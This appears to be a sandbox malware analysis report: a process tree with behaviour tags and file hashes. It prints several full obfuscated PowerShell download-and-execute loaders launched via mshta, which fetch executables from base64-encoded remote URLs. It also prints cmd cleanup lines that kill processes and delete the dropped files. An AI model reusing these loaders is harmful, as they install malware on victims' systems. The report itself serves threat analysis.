C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\m1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928 -
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
PID:1916 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\b.hta"3⤵
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144 -
C:\Users\Public\lbe.exe"C:\Users\Public\lbe.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2480 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"6⤵
- Loads dropped DLL
PID:2312 -
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1840 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"8⤵
- Loads dropped DLL
PID:2900 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:2076 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:3020 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:2580 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:1648 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:1008 -
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
PID:1928 -
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2204 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2204 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\274826489247912\\* & exit9⤵PID:764
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 220410⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1684 -
C:\Users\Public\lbe.exe"C:\Users\Public\lbe.exe"6⤵
- Executes dropped EXE
PID:2388 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\b1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512 -
C:\Windows\SysWOW64\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
PID:1120 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\ba.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684 -
C:\Users\Public\mnd.exe"C:\Users\Public\mnd.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2556 -
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3008 -
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1548 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1548 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\827762013486243\\* & exit8⤵PID:1436
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 15489⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:924 -
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3052 -
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
PID:2216 -
C:\Users\Public\mnd.exe"C:\Users\Public\mnd.exe"6⤵
- Executes dropped EXE
PID:1956 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\ba1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
MD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
MD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
MD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
MD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
MD5
02cc7b8ee30056d5912de54f1bdfc219
SHA1a6923da95705fb81e368ae48f93d28522ef552fb
SHA2561989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5
SHA5120d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5